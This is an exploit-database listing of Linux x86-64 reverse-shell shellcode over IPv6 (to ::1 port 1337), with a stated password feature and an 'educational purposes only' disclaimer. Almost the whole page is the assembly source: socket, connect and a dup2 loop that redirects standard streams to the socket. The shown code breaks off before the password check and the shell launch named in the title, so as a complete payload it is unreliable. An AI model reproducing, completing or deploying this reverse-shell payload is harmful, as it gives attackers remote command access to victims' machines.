Exploits / Vulnerability Discovered : 2018-07-17 |
Type : shellcode |
Platform : linux_x86-64
This exploit / vulnerability Linux/x64 reverse (::1:1337/tcp) shell (/bin/sh) + ipv6 + password (pwnd) shellcode (115 bytes) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
/*
; Title : Reverse Shell (IPv6) with Password - Shellcode
; Author : Hashim Jawad @ihack4falafel
; OS : Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64 GNU/Linux
; Arch : x86_64
; Size : 115 bytes
section .text
global _start
_start:
; int socket(int domain, int type, int protocol)
; rax=41, rdi=10, rsi=1, rdx=0
xor esi,esi
mul esi
inc esi
push 10
pop rdi
add al, 41
syscall
; save socket fd in rdi
xchg rbx,rax
; struct sockaddr_in6 struct
push rdx ; scope id = 0
mov rcx,0xFEFFFFFFFFFFFFFF ; link local address ::1
not rcx
push rcx
push rdx
push rdx ; sin6_flowinfo=0
push word 0x3905 ; port 1337
push word 10 ; sin6_family
; int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen)
; rax=42, rdi=rbx(fd), rsi=sockaddr_inet6, rdx=28 (length)
push rbx
pop rdi
push rsp
pop rsi
push 28
pop rdx
push 42
pop rax
syscall
; dup2 (new, old)
; rax=33, rdi=new fd, rsi=0,1,2 (stdin, stdout, stderr)
xchg rsi, rax
push 0x3
pop rsi
_loop:
push 0x21
pop rax
dec esi
syscall
loopnz _loop